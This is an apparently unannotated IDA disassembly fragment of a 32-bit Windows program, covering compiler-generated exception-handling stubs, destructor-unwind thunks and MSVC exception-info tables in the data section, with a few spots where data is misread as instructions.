SEH_427D50	proc near		; DATA XREF: sub_427D50+2o
		mov	eax, offset dword_442B78
		jmp	sub_437AB8
SEH_427D50	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4014CE

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4281A0	proc near		; DATA XREF: sub_4281A0+2o
		mov	eax, offset dword_442BA8
		jmp	sub_437AB8
SEH_4281A0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_428260	proc near		; DATA XREF: sub_428260+2o
		mov	eax, offset dword_442BD8
		jmp	sub_437AB8
SEH_428260	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4014CE

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_428880	proc near		; DATA XREF: sub_428880+2o
		mov	eax, offset dword_442C08
		jmp	sub_437AB8
SEH_428880	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_428940	proc near		; DATA XREF: sub_428940+2o
		mov	eax, offset dword_442C38
		jmp	sub_437AB8
SEH_428940	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4017A8

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4290B0	proc near		; DATA XREF: sub_4290B0+2o
		mov	eax, offset dword_442C68
		jmp	sub_437AB8
SEH_4290B0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_40204F
; ---------------------------------------------------------------------------


loc_43CBD8:				; DATA XREF: ___:00442CC4o
		mov	ecx, [ebp-10h]
		add	ecx, 11h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 26h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 43h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 58h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 6Dh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_429290	proc near		; DATA XREF: sub_429290+2o
		mov	eax, offset dword_442C98
		jmp	sub_437AB8
SEH_429290	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_40204F
; ---------------------------------------------------------------------------


loc_43CC38:				; DATA XREF: ___:00442D1Co
		mov	ecx, [ebp-10h]
		add	ecx, 11h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 26h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 43h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 58h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 6Dh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_429350	proc near		; DATA XREF: sub_429350+2o
		mov	eax, offset dword_442CF0
		jmp	sub_437AB8
SEH_429350	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		jmp	sub_4017A8
; ---------------------------------------------------------------------------


loc_43CC98:				; DATA XREF: ___:00442D74o
		mov	ecx, [ebp-28h]
		add	ecx, 0A1h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_429450	proc near		; DATA XREF: sub_429450+2o
		mov	eax, offset dword_442D48
		jmp	sub_437AB8
SEH_429450	endp

; ---------------------------------------------------------------------------
		db 18h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-53ECh]
		jmp	sub_4014BA
; ---------------------------------------------------------------------------


loc_43CCDB:				; DATA XREF: ___:00442DB4o
		lea	ecx, [ebp-5490h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5474h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5274h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-528Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-525Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-537Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5334h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-522Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5304h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5244h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-52D4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-545Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5444h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-541Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5404h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-52A4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5364h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-534Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-531Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-52ECh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-52BCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43CDC2:				; DATA XREF: ___:00429518o
		mov	eax, offset dword_442D88
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		db 44h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_4017A8

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42AC10	proc near		; DATA XREF: sub_42AC10+2o
		mov	eax, offset dword_442E70
		jmp	sub_437AB8
SEH_42AC10	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [ebp-10h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42AC80	proc near		; DATA XREF: sub_42AC80+2o
		mov	eax, offset dword_442EA0
		jmp	sub_437AB8
SEH_42AC80	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4017A8

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42AFF0	proc near		; DATA XREF: sub_42AFF0+2o
		mov	eax, offset dword_442ED0
		jmp	sub_437AB8
SEH_42AFF0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4017A8

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42B380	proc near		; DATA XREF: sub_42B380+2o
		mov	eax, offset dword_442F00
		jmp	sub_437AB8
SEH_42B380	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [ebp-30h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42B440	proc near		; DATA XREF: sub_42B440+8o
		mov	eax, offset dword_442F30
		jmp	sub_437AB8
SEH_42B440	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42C1B0	proc near		; DATA XREF: sub_42C1B0+5o
		mov	eax, offset dword_442F60
		jmp	sub_437AB8
SEH_42C1B0	endp

; ---------------------------------------------------------------------------
		align 10h


loc_43CEC0:				; DATA XREF: ___:0042C2C5o
		mov	eax, offset dword_442FC0
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+20h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43CED8:				; DATA XREF: ___:0044304Co
		lea	ecx, [ebp+8]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-1A0h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42C350	proc near		; DATA XREF: sub_42C350+2o
		mov	eax, offset dword_443020
		jmp	sub_437AB8
SEH_42C350	endp

; ---------------------------------------------------------------------------
		db 18h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42C530	proc near		; DATA XREF: sub_42C530+2o
		mov	eax, offset dword_443060
		jmp	sub_437AB8
SEH_42C530	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4017A8
; ---------------------------------------------------------------------------


loc_43CF38:				; DATA XREF: ___:0042C5D2o
		mov	eax, offset dword_443090
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4017A8

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42C770	proc near		; DATA XREF: sub_42C770+2o
		mov	eax, offset dword_4430C0
		jmp	sub_437AB8
SEH_42C770	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4017A8
; ---------------------------------------------------------------------------
		mov	eax, offset dword_4430F0
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [ebp-30h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42CB70	proc near		; DATA XREF: sub_42CB70+8o
		mov	eax, offset dword_443120
		jmp	sub_437AB8
SEH_42CB70	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42CE60	proc near		; DATA XREF: sub_42CE60+2o
		mov	eax, offset dword_443150
		jmp	sub_437AB8
SEH_42CE60	endp

; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	eax, [ebp+4]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp+4]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp+4]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp+4]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-74h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-70h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43D0B4:				; DATA XREF: ___:0042D158o
		mov	eax, offset dword_4431A8
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		db 32h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_435AA0	proc near		; DATA XREF: sub_435AA0+2o
		mov	eax, offset dword_443290
		jmp	sub_437AB8
SEH_435AA0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-168Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43D11B:				; DATA XREF: ___:004432F4o
		lea	ecx, [ebp-16A4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43D126:				; DATA XREF: ___:00435B98o
		mov	eax, offset dword_4432C8
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4364D0	proc near		; DATA XREF: sub_4364D0+2o
		mov	eax, offset dword_443300
		jmp	sub_437AB8
SEH_4364D0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4368D0	proc near		; DATA XREF: sub_4368D0+2o
		mov	eax, offset dword_443330
		jmp	sub_437AB8
SEH_4368D0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4369E0	proc near		; DATA XREF: sub_4369E0+8o
		mov	eax, offset dword_443368
		jmp	sub_437AB8
SEH_4369E0	endp

; ---------------------------------------------------------------------------
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db '',0
		dd 317h	dup(0)
off_43F000	dd offset sub_4017D0	; DATA XREF: sub_403700+3FEo
off_43F004	dd offset dword_437AC0	; DATA XREF: sub_403C30+2o
off_43F008	dd offset off_402027	; DATA XREF: sub_406BF0+2o sub_406C50o
off_43F00C	dd offset sub_40221B	; DATA XREF: ___:004070C5o
off_43F010	dd offset loc_40218F	; DATA XREF: sub_409BB0+4o
					; sub_409C10+Bo ...
off_43F014	dd offset loc_402045	; DATA XREF: sub_40AE90+2o
					; sub_40AEE0+1Co
		dd offset dword_437AC0
		align 10h
off_43F020	dd offset loc_401AE1	; DATA XREF: ___:0040B1E8o
					; sub_40B240+1Eo
flt_43F024	dd 1.0			; DATA XREF: ___:0040B896r
off_43F028	dd offset sub_401A4B	; DATA XREF: sub_40F6C0+157o
					; sub_412860+1Do
		dd offset sub_402149
		dd 0
off_43F034	dd offset sub_401ACD	; DATA XREF: sub_40F6C0+142o
					; sub_412860+23o
off_43F038	dd offset loc_40115E	; DATA XREF: sub_412A20+36o
					; sub_412AD0+1Do
		dd offset loc_402004
		dd 0
off_43F044	dd offset sub_4014C9	; DATA XREF: ___:0041324Do
					; sub_4132E0+1Fo
		dd offset sub_401D0C
		align 10h
off_43F050	dd offset loc_4014AB	; DATA XREF: sub_417B80+68o
off_43F054	dd offset sub_401064	; DATA XREF: sub_417C20+8Bo
off_43F058	dd offset sub_40138E	; DATA XREF: sub_417CF0+74o
off_43F05C	dd offset sub_4019CE	; DATA XREF: sub_417DB0+8o
					; sub_418AD0+6o
		dd offset sub_4020C7
		align 8
off_43F068	dd offset loc_401CAD	; DATA XREF: sub_417DE0+8o
					; sub_418B30+6o
		dd offset sub_401230
		dd 0
off_43F074	dd offset loc_401B81	; DATA XREF: sub_417E10+7Bo
off_43F078	dd offset loc_40204A	; DATA XREF: sub_417ED0+7Bo
off_43F07C	dd offset loc_401F3C	; DATA XREF: sub_417F90+3Eo
off_43F080	dd offset sub_401FE1	; DATA XREF: sub_418010+8o
off_43F084	dd offset loc_401FF5	; DATA XREF: sub_418040+3Eo
off_43F088	dd offset sub_401E6A	; DATA XREF: sub_4180C0+3Eo
off_43F08C	dd offset loc_40100A	; DATA XREF: sub_418140+10o
off_43F090	dd offset loc_4010B4	; DATA XREF: sub_418170+4Bo
off_43F094	dd offset sub_401BB8	; DATA XREF: sub_4181F0+10o
off_43F098	dd offset sub_40171C	; DATA XREF: sub_418220+10o
off_43F09C	dd offset sub_40161D	; DATA XREF: sub_418250+6Bo
off_43F0A0	dd offset loc_401929	; DATA XREF: sub_418B90o sub_41FBD0+8o
		dd offset sub_401CF3
		dd 0
off_43F0AC	dd offset sub_40111D	; DATA XREF: sub_418BE0o
					; sub_4191A0+36o
dbl_43F0B0	dq -3.0517578125e-5	; DATA XREF: sub_4199C0+22r
		dd 0
off_43F0BC	dd offset sub_401B09	; DATA XREF: sub_41A110+Bo
					; sub_41A210+6o
off_43F0C0	dd offset sub_401E92	; DATA XREF: sub_41B0B0+Do sub_41B110o
off_43F0C4	dd offset sub_401406	; DATA XREF: ___:0041B472o
					; ___:0041B55Do
		dd offset sub_401686
		align 10h
off_43F0D0	dd offset loc_4019F6	; DATA XREF: sub_41D770+77o
					; sub_4218A0+1Do
		dd offset sub_401C94
		dd 0
off_43F0DC	dd offset sub_4011FE	; DATA XREF: sub_427740+32o
		dd offset sub_401A78
		dd offset sub_401A50
		dd 0
off_43F0EC	dd offset loc_4016DB	; DATA XREF: sub_427B00+6Ao
					; sub_427BA0+1Do
		dd offset sub_401A78
		dd offset dword_437AC0
		dd 0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_10. PRESS	KEYPAD "+" TO EXPAND]
		db 1Ah,	40h, 0
		dd offset sub_401A78
		dd offset sub_401366
		dd 0
off_43F10C	dd offset sub_40182A	; DATA XREF: sub_4281A0+32o
		dd offset sub_401A78
		dd offset sub_401EB0
		dd 0
off_43F11C	dd offset sub_40224D	; DATA XREF: sub_428880+32o
		dd offset sub_401A78
		dd offset sub_401A14
		dd 0
off_43F12C	dd offset sub_401C3F	; DATA XREF: sub_4290B0+32o
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 21h,	40h, 0
		dd offset sub_4015B9
		dd 0
off_43F13C	dd offset loc_402086	; DATA XREF: sub_429290+7Ao
					; sub_429350+1Do
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 21h,	40h, 0
		dd offset dword_437AC0
		dd 0
off_43F14C	dd offset sub_4021D5	; DATA XREF: sub_429450+4Bo
					; sub_42AF10+10o
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 21h,	40h, 0
		dd offset loc_401D3E
		dd 0
off_43F15C	dd offset loc_40112C	; DATA XREF: sub_42AC10+32o
					; sub_42AFB0+9o
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 21h,	40h, 0
		dd offset sub_40137A
		dd 0
off_43F16C	dd offset loc_401B18	; DATA XREF: sub_42AFF0+32o
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 21h,	40h, 0
		dd offset sub_4010AF
		dd 0
off_43F17C	dd offset sub_4017B2	; DATA XREF: sub_42B380+32o
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 21h,	40h, 0
		dd offset sub_40189D
		dd 0
off_43F18C	dd offset sub_4020EF	; DATA XREF: sub_42C4C0+27o
dword_43F190	dd 0				dd 8, 0
off_43F19C	dd offset dword_437AC0	; DATA XREF: sub_42C530+39o
off_43F1A0	dd offset sub_401F5F	; DATA XREF: ___:0042C602o
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 21h,	40h, 0
		dd offset loc_40134D
		align 10h
off_43F1B0	dd offset sub_401B36	; DATA XREF: sub_42C770+32o
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 21h,	40h, 0
		dd offset sub_401537
		align 10h
		dd offset loc_4015FA
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 21h,	40h, 0
		dd offset sub_4019F1
		align 10h
		dd offset dword_43F348
off_43F1D4	dd offset loc_437B01	; DATA XREF: ___:00437AF8o
					; ___:off_444890o ...
		dd 0FFFFFFFFh, 437E9Ch,	437EB0h, 4Dh dup(0)
off_43F318	dd offset off_448C90	; DATA XREF: ___:0043F330o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_43F318
		dd 0
		db    0			; DATA XREF: ___:0043F358o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 1, 43F330h
dword_43F348	dd 3 dup(0)			dd offset off_448C90
		dd offset unk_43F338
		dd 45h dup(0)
dword_43F470	dd 19930520h, 5, 43F490h, 5 dup(0)		dd 0FFFFFFFFh, 438E1Ch,	0
		dd offset dword_4382CC+0B24h
		dd 1, 438DFBh, 2, 438E06h, 3, 438E11h, 2 dup(0)
dword_43F4C0	dd 19930520h, 3Dh, 43F4E0h, 5 dup(0)		dd 0FFFFFFFFh, 438E60h,	0
		dd offset loc_438E6B
		dd 1, 438E76h, 2, 438E84h, 3, 438E92h, 4, 438EA0h, 5, 438EAEh
		dd 6, 438EBCh, 7, 438ECAh, 8, 438ED8h, 9, 438EE6h, 0Ah
		dd 438EF4h, 0Bh, 438F02h, 0Ch, 438F10h,	0Dh, 438F1Eh, 0Eh
		dd 438F2Ch, 0Fh, 438F3Ah, 10h, 438F48h,	11h, 438F56h, 12h
		dd 438F64h, 13h, 438F72h, 14h, 438F80h,	15h, 438F8Eh, 16h
		dd 438F9Ch, 17h, 438FAAh, 18h, 438FB8h,	19h, 438FC6h, 1Ah
		dd 438FD4h, 1Bh, 438FE2h, 1Ch, 438FF0h,	1Dh, 438FFEh, 1Eh
		dd 43900Ch, 1Fh, 43901Ah, 20h, 439028h,	21h, 439036h, 22h
		dd 439044h, 23h, 439052h, 24h, 439060h,	25h, 43906Eh, 26h
		dd 43907Ch, 27h, 43908Ah, 28h, 439098h,	29h, 4390A6h, 2Ah
		dd 4390B4h, 2Bh, 4390C2h, 2Ch, 4390D0h,	2Dh, 4390DEh, 2Eh
		dd 4390ECh, 2Fh, 4390FAh, 30h, 439108h,	31h, 439116h, 32h
		dd 439124h, 33h, 439132h, 34h, 439140h,	35h, 43914Eh, 36h
		dd 43915Ch, 37h, 43916Ah, 38h, 439178h,	39h, 439186h, 3Ah
		dd 439194h, 3Bh, 4391A2h, 0Eh dup(0)
dword_43F700	dd 19930520h, 2, 43F720h, 5 dup(0)		dd 0FFFFFFFFh, 439290h,	0
		dd offset loc_439298
		dd 2 dup(0)
dword_43F738	dd 19930520h, 2, 43F758h, 5 dup(0)		dd 0FFFFFFFFh, 4392C0h,	0
		dd offset loc_4392C8
		align 10h
dword_43F770	dd 19930520h, 1, 43F790h, 5 dup(0)		dd 0FFFFFFFFh, 4392F0h,	2 dup(0)
dword_43F7A0	dd 19930520h, 7, 43F7C0h, 5 dup(0)		dd 0FFFFFFFFh, 439310h,	0
		dd offset loc_439318
		dd 1, 439323h, 2, 439331h, 3, 43933Fh, 4, 43934Dh, 5, 43935Bh
		dd 2 dup(0)
dword_43F800	dd 19930520h, 7, 43F820h, 5 dup(0)		dd 0FFFFFFFFh, 439390h,	0
		dd offset loc_439398
		dd 1, 4393A3h, 2, 4393B1h, 3, 4393BFh, 4, 4393CDh, 5, 4393DBh
		dd 2 dup(0)
dword_43F860	dd 19930520h, 11h, 43F880h, 5 dup(0)		dd 0FFFFFFFFh, 439410h,	0FFFFFFFFh, 439418h, 0FFFFFFFFh
		dd 439420h, 0FFFFFFFFh,	439428h, 0FFFFFFFFh, 439430h, 0FFFFFFFFh
		dd 439438h, 0FFFFFFFFh,	439440h, 0FFFFFFFFh, 439448h, 0FFFFFFFFh
		dd 439450h, 0FFFFFFFFh,	439458h, 0FFFFFFFFh, 439460h, 0FFFFFFFFh
		dd 439468h, 0FFFFFFFFh,	439470h, 0FFFFFFFFh, 439478h, 0FFFFFFFFh
		dd 439480h, 0Eh, 439488h, 0Eh, 439490h,	4 dup(0)
dword_43F918	dd 19930520h, 0Bh, 43F938h, 5 dup(0)		dd 0FFFFFFFFh, 4394D0h,	0
; ---------------------------------------------------------------------------
		fcom	dword ptr [ebx+eax*2-100h]
		jmp	eax
; ---------------------------------------------------------------------------
		db 94h,	43h, 0
		dd 2, 4394E8h, 0FFFFFFFFh, 4394F0h, 0FFFFFFFFh,	4394F8h
		dd 0FFFFFFFFh, 439500h,	0FFFFFFFFh, 439508h, 7,	439513h
		dd 7, 43951Bh, 9, 439523h, 4 dup(0)
dword_43F9A0	dd 19930520h, 31h, 43F9C0h, 5 dup(0)		dd 0FFFFFFFFh, 439550h,	0
		dd offset loc_43955B
		dd 0
		dd offset loc_439566
		dd 0FFFFFFFFh, 439571h,	0FFFFFFFFh, 43957Ch, 4,	439587h
		dd 0FFFFFFFFh, 439592h,	6, 43959Dh, 6, 4395A8h,	8, 4395B3h
		dd 0FFFFFFFFh, 4395BEh,	0Ah, 4395C9h, 0Ah, 4395D4h, 0Ah
		dd 4395DFh, 0Ah, 4395EAh, 0Ah, 4395F5h,	0Ah, 439600h, 0FFFFFFFFh
		dd 43960Bh, 11h, 439616h, 11h, 439621h,	0FFFFFFFFh, 43962Ch
		dd 0FFFFFFFFh, 439637h,	15h, 439642h, 0FFFFFFFFh, 43964Dh
		dd 0FFFFFFFFh, 439658h,	18h, 439663h, 0FFFFFFFFh, 43966Eh
		dd 0FFFFFFFFh, 439679h,	0FFFFFFFFh, 439684h, 0FFFFFFFFh
		dd 43968Fh, 1Dh, 43969Ah, 1Dh, 4396A5h,	1Dh, 4396B0h, 1Dh
		dd 4396BBh, 1Dh, 4396C6h, 22h, 4396D1h,	22h, 4396DCh, 22h
		dd 4396E7h, 22h, 4396F2h, 22h, 4396FDh,	22h, 439708h, 22h
		dd 439713h, 22h, 43971Eh, 22h, 439729h,	22h, 439734h, 22h
		dd 43973Fh, 22h, 43974Ah, 22h, 439755h,	22h, 439760h, 0Ch dup(0)
dword_43FB78	dd 19930520h, 2, 43FB98h, 5 dup(0)		dd 0FFFFFFFFh, 439808h,	0
		dd offset loc_439800
		align 10h
dword_43FBB0	dd 19930520h, 2, 43FBD0h, 5 dup(0)		dd 0FFFFFFFFh, 43984Bh,	0
		dd offset loc_439840
		dd 2 dup(0)
dword_43FBE8	dd 19930520h, 1, 43FC08h, 5 dup(0)		dd 0FFFFFFFFh, 439880h,	2 dup(0)
dword_43FC18	dd 19930520h, 3, 43FC38h, 5 dup(0)		dd 0FFFFFFFFh, 4398A0h,	0
